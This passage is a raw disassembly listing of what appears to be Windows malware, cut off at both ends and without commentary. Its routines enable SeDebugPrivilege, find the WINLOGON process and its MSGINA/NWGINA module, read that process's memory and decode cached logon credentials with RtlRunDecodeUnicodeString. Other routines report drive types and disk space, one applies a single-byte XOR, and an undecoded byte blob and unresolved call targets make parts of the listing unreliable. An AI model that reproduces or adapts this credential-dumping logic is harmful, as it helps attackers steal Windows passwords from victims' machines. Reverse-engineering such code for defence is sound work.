[ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 24h jmp loc_4168D2 ; --------------------------------------------------------------------------- loc_41678D: ; CODE XREF: ___:0041669Fj mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_4376DC push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_4167F5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4167F5: ; CODE XREF: ___:004167D3j lea eax, [ebp-510h] push eax call sub_4151AC push 10h lea eax, [ebp-10h] push esi push eax call sub_41B590 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_41B590 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset dword_43D158 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi nop call near ptr 2650C14h cmp eax, edi jnz short loc_416877 call dword_4CAEFC call sub_418359 push esi call near ptr 77E75CB5h nop loc_416877: ; CODE XREF: ___:00416863j lea eax, [ebp-148h] push eax push offset unk_4376A8 jmp short loc_416891 ; --------------------------------------------------------------------------- loc_416885: ; CODE XREF: ___:0041643Ej lea eax, [ebp-248h] push eax push offset unk_43767C loc_416891: ; CODE XREF: ___:00416883j lea eax, [ebp-510h] push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4168C5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4168C5: ; CODE XREF: ___:004168A3j lea eax, [ebp-510h] push eax call sub_4151AC pop ecx loc_4168D2: ; CODE XREF: ___:00416695j ; ___:0041671Ej ... push dword ptr [ebp-18h] call dword_4CAFD8 push dword ptr [ebp-48h] call sub_40B412 pop ecx push esi nop call near ptr 26D0000h ; =============== S U B R O U T I N E ======================================= sub_4168EB proc near ; CODE XREF: ___:00416517p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416907 loc_4168F7: ; CODE XREF: sub_4168EB+1Aj mov dl, byte_429094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_4168F7 locret_416907: ; CODE XREF: sub_4168EB+Aj retn sub_4168EB endp ; =============== S U B R O U T I N E ======================================= sub_416908 proc near ; CODE XREF: sub_401ACD+5841p ; sub_401ACD+5969p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41D3BE pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416908 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416922 proc near ; CODE XREF: sub_40F96A+458p ; sub_40F96A+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D2BD8 push 0 push edi call sub_41B590 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416947: ; CODE XREF: sub_416922+5Bj ; sub_416922+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41D480 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41D410 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416985 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416947 mov byte ptr [esi], 2Ch inc esi jmp short loc_416947 ; --------------------------------------------------------------------------- loc_416985: ; CODE XREF: sub_416922+4Bj dec esi mov eax, edi loc_416988: ; CODE XREF: sub_416922+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416997 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416988 ; --------------------------------------------------------------------------- loc_416997: ; CODE XREF: sub_416922+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416922 endp ; =============== S U B R O U T I N E ======================================= sub_4169A1 proc near ; CODE XREF: sub_416B56+51p ; sub_416B56+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CB004 sub eax, 0 jz short loc_4169E4 dec eax jz short loc_4169DE dec eax dec eax jz short loc_4169D8 dec eax jz short loc_4169D2 dec eax jz short loc_4169CC dec eax jz short loc_4169C6 mov eax, offset word_43786C retn ; --------------------------------------------------------------------------- loc_4169C6: ; CODE XREF: sub_4169A1+1Dj mov eax, offset off_437868 retn ; --------------------------------------------------------------------------- loc_4169CC: ; CODE XREF: sub_4169A1+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_4169D2: ; CODE XREF: sub_4169A1+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_4169D8: ; CODE XREF: sub_4169A1+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_4169DE: ; CODE XREF: sub_4169A1+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_4169E4: ; CODE XREF: sub_4169A1+Dj mov eax, offset aUnknown ; "Unknown" retn sub_4169A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4169EA proc near ; CODE XREF: sub_416A32+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CAE94 test eax, eax jz short loc_416A1F lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_416A1F: ; CODE XREF: sub_4169EA+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_4169EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A32 proc near ; CODE XREF: sub_416B56+17p ; sub_41AA42+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_4169EA pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416B10 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41D500 push edx push eax call sub_416922 pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41B980 add esp, 10h pop ebx jmp short loc_416B42 ; --------------------------------------------------------------------------- loc_416B10: ; CODE XREF: sub_416A32+2Cj ; sub_416A32+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_41B886 pop ecx pop ecx loc_416B42: ; CODE XREF: sub_416A32+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B56 proc near ; CODE XREF: sub_416C28+17p ; sub_416C28+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41C070 add esp, 10h test eax, eax jnz short loc_416BC9 push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_4378BC lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 14h jmp short loc_416BFD ; --------------------------------------------------------------------------- loc_416BC9: ; CODE XREF: sub_416B56+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_437880 lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 20h loc_416BFD: ; CODE XREF: sub_416B56+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_500] push eax call sub_4151AC add esp, 18h pop edi pop esi pop ebx leave retn sub_416B56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C28 proc near ; CODE XREF: sub_401ACD+2553p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416C49 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h jmp short loc_416CAA ; --------------------------------------------------------------------------- loc_416C49: ; CODE XREF: sub_416C28+9j push esi push edi push ebx push ebx call dword_4CAF0C lea esi, [eax+2] push esi call sub_41B4D5 pop ecx mov edi, eax push edi push esi call dword_4CAF0C cmp [edi], bl mov esi, edi jz short loc_416CA1 loc_416C6D: ; CODE XREF: sub_416C28+77j push offset off_4378F8 push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_416C90 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h loc_416C90: ; CODE XREF: sub_416C28+54j push esi call sub_41AFE0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_416C6D loc_416CA1: ; CODE XREF: sub_416C28+43j push edi call sub_41B0B1 pop ecx pop edi pop esi loc_416CAA: ; CODE XREF: sub_416C28+1Fj pop ebx pop ebp retn sub_416C28 endp ; --------------------------------------------------------------------------- byte_416CAD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+689Fo dd 49CEC81h, 458B0000h, 57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h, 0FFFFFEECh dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh, 0FFFFFDE8h dd 791C6850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh, 75FFFFFFh dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h dd 8D5018C4h, 0FFFB6485h, 78FC68FFh, 0E8500043h, 4B06h dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh, 8D50F475h dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h dd 0E8535959h, 22B923Ch, 5B5E5F90h, 81EC8B55h, 54CECh dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 6068FFFFh dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h dd 93ECBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh, 0E8BD8054h dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh, 45892CC4h dd 0BC858D1Ch, 50FFFFFEh, 0E8FC75FFh, 23394C6h, 75C08590h dd 0FC75FF8Fh, 329173E8h, 75FF9002h, 0B8858D14h, 0FFFFFFFDh dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh, 437944h dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h dd 50FFFFFEh, 3FE89056h, 85023394h, 56B175C0h, 90EEE890h dd 458B0232h, 5B5E5F1Ch ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F1A proc near ; DATA XREF: sub_401ACD+1CCFo var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41A8F4 cmp eax, esi mov [ebp+var_4], eax jz short loc_416F59 cmp eax, 2 jz short loc_416F59 push offset unk_437B38 jmp loc_417098 ; --------------------------------------------------------------------------- loc_416F59: ; CODE XREF: sub_416F1A+2Ej ; sub_416F1A+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx test eax, eax pop ecx jz loc_417093 push ebx push offset aNtdll_dll ; "NTDLL.DLL" call near ptr 2690BE7h nop mov esi, dword_4270BC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D3E1C, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D3E10, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D4020, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D3E18, eax call esi mov dword_4D3E14, eax call sub_4170EC test eax, eax mov [ebp+arg_0], eax jz loc_417066 mov esi, dword_42713C mov edi, 400h mov ebx, offset dword_4D2E10 push edi push ebx push offset off_437A74 call esi push edi mov edi, offset dword_4D3610 push edi push offset off_437A5C call esi cmp [ebp+var_4], 1 push offset dword_4D4028 push [ebp+arg_0] jnz short loc_417012 call sub_417275 jmp short loc_417017 ; --------------------------------------------------------------------------- loc_417012: ; CODE XREF: sub_416F1A+EFj call sub_41741C loc_417017: ; CODE XREF: sub_416F1A+F6j pop ecx test eax, eax pop ecx jz short loc_41705F cmp dword_4D4028, 0 jnz short loc_417046 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_437A00 push 200h push eax call sub_41B980 add esp, 18h jmp short loc_417079 ; --------------------------------------------------------------------------- loc_417046: ; CODE XREF: sub_416F1A+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_417056 call sub_417552 jmp short loc_41705B ; --------------------------------------------------------------------------- loc_417056: ; CODE XREF: sub_416F1A+133j call sub_4175E9 loc_41705B: ; CODE XREF: sub_416F1A+13Aj pop ecx push eax jmp short loc_41706B ; --------------------------------------------------------------------------- loc_41705F: ; CODE XREF: sub_416F1A+101j push offset unk_4379C8 jmp short loc_41706B ; --------------------------------------------------------------------------- loc_417066: ; CODE XREF: sub_416F1A+B6j push offset unk_43799C loc_41706B: ; CODE XREF: sub_416F1A+143j ; sub_416F1A+14Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_417079: ; CODE XREF: sub_416F1A+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push [ebp+var_8] nop call near ptr 2780000h pop ebx jmp short loc_4170A6 ; --------------------------------------------------------------------------- loc_417093: ; CODE XREF: sub_416F1A+4Ej push offset unk_437968 loc_417098: ; CODE XREF: sub_416F1A+3Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_4170A6: ; CODE XREF: sub_416F1A+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4170CD push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409A72 add esp, 14h loc_4170CD: ; CODE XREF: sub_416F1A+191j lea eax, [ebp+var_29C] push eax call sub_4151AC push [ebp+var_18] call sub_40B412 pop ecx pop ecx push esi call near ptr 26D0000h nop pop edi pop esi sub_416F1A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4170EC proc near ; CODE XREF: sub_416F1A+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_427148 mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_427144 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D3E1C push ebp push 0 call esi push eax nop call near ptr 2790000h push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D3E1C test eax, eax jnz short loc_4171D9 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4171D9 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_4171D9 loc_417175: ; CODE XREF: sub_4170EC+EBj cmp word ptr [ebx+8], 5 jnz short loc_4171CC push 0 push 0 call dword_4D3E10 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D4020 test eax, eax jnz short loc_4171BD mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4171F1 loc_4171BD: ; CODE XREF: sub_4170EC+AAj test edi, edi jz short loc_4171C8 push edi call dword_4D3E18 loc_4171C8: ; CODE XREF: sub_4170EC+D3j mov eax, [esp+28h+var_10] loc_4171CC: ; CODE XREF: sub_4170EC+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_417175 loc_4171D9: ; CODE XREF: sub_4170EC+6Dj ; sub_4170EC+7Aj ... xor edi, edi loc_4171DB: ; CODE XREF: sub_4170EC+17Dj push ebp push 0 call esi push eax call near ptr 2790000h nop mov eax, edi loc_4171E9: ; CODE XREF: sub_4170EC+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_4171F1: ; CODE XREF: sub_4170EC+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_41725A lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_417207: ; CODE XREF: sub_4170EC+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41726E push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41724C mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_41724C: ; CODE XREF: sub_4170EC+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_417207 loc_41725A: ; CODE XREF: sub_4170EC+10Fj test edi, edi jz short loc_417265 push edi call dword_4D3E18 loc_417265: ; CODE XREF: sub_4170EC+170j mov edi, [esp+28h+var_4] jmp loc_4171DB ; --------------------------------------------------------------------------- loc_41726E: ; CODE XREF: sub_4170EC+13Cj xor eax, eax jmp loc_4171E9 sub_4170EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417275 proc near ; CODE XREF: sub_416F1A+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h call near ptr 2670101h nop cmp eax, esi mov [ebp+var_4], eax jnz short loc_41729E xor eax, eax jmp loc_417419 ; --------------------------------------------------------------------------- loc_41729E: ; CODE XREF: sub_417275+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax call near ptr 27B02D3h nop push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_427148 push 8 call esi mov edi, dword_427144 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_427150 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_4172EE xor esi, esi jmp loc_41740C ; --------------------------------------------------------------------------- loc_4172EE: ; CODE XREF: sub_417275+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] nop call near ptr 27A0B8Dh test eax, eax jz loc_4173FB mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_4173FB test [ebp+var_2B], 1 jnz loc_4173FB push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_4173FB loc_417351: ; CODE XREF: sub_417275+112j push edi push offset dword_4D2E10 call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_417379 lea eax, [edi+200h] push eax push offset dword_4D3610 call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417389 loc_417379: ; CODE XREF: sub_417275+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_4173FB jmp short loc_417351 ; --------------------------------------------------------------------------- loc_417389: ; CODE XREF: sub_417275+102j test edi, edi jz short loc_4173FB lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax nop call near ptr 2750000h test eax, eax jz short loc_4173C4 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax nop call near ptr 2740918h test eax, eax jz short loc_4173C4 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_4173C4: ; CODE XREF: sub_417275+12Bj ; sub_417275+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D4034, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D402C, eax mov dword_4D4030, edi loc_4173FB: ; CODE XREF: sub_417275+90j ; sub_417275+A2j ... push [ebp+arg_0] push 0 call esi push eax nop call near ptr 2790000h mov esi, [ebp+var_10] loc_41740C: ; CODE XREF: sub_417275+74j push [ebp+var_4] call near ptr 26508C8h nop pop edi mov eax, esi pop ebx loc_417419: ; CODE XREF: sub_417275+24j pop esi leave retn sub_417275 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41741C proc near ; CODE XREF: sub_416F1A:loc_417012p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h nop call near ptr 2670101h test eax, eax mov [ebp+arg_0], eax jz loc_41750E mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax nop call near ptr 27B02D3h mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_417505 mov edi, dword_427148 loc_417467: ; CODE XREF: sub_41741C+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] call near ptr 27A0B8Dh nop test eax, eax jz short loc_4174F3 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_4174F9 test [ebp+var_13], 1 jnz short loc_4174F9 push ecx push 8 call edi push eax nop call near ptr 27A0000h mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] nop call near ptr 27B0000h test eax, eax jz short loc_4174E5 push offset dword_4D2E10 push esi call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_4174E5 lea eax, [esi+400h] push offset dword_4D3610 push eax call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417515 loc_4174E5: ; CODE XREF: sub_41741C+9Fj ; sub_41741C+B0j push esi push 0 call edi push eax nop call near ptr 2790000h jmp short loc_4174F9 ; --------------------------------------------------------------------------- loc_4174F3: ; CODE XREF: sub_41741C+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_4174F9: ; CODE XREF: sub_41741C+71j ; sub_41741C+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_417467 loc_417505: ; CODE XREF: sub_41741C+3Fj push [ebp+arg_0] nop call near ptr 26508C8h loc_41750E: ; CODE XREF: sub_41741C+1Ej xor eax, eax loc_417510: ; CODE XREF: sub_41741C+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417515: ; CODE XREF: sub_41741C+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D402C, ebx mov dword_4D4030, eax cmp [eax], cl jnz short loc_417537 cmp [eax+1], cl jz short loc_41753F loc_417537: ; CODE XREF: sub_41741C+114j ; sub_41741C+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_417537 loc_41753F: ; CODE XREF: sub_41741C+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 26508C8h push 1 pop eax jmp short loc_417510 sub_41741C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417552 proc near ; CODE XREF: sub_416F1A+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D4028 push esi mov esi, dword_427148 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax call near ptr 27A0000h nop mov ecx, dword_4D4028 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D4030 push eax call sub_41C310 add esp, 0Ch lea eax, 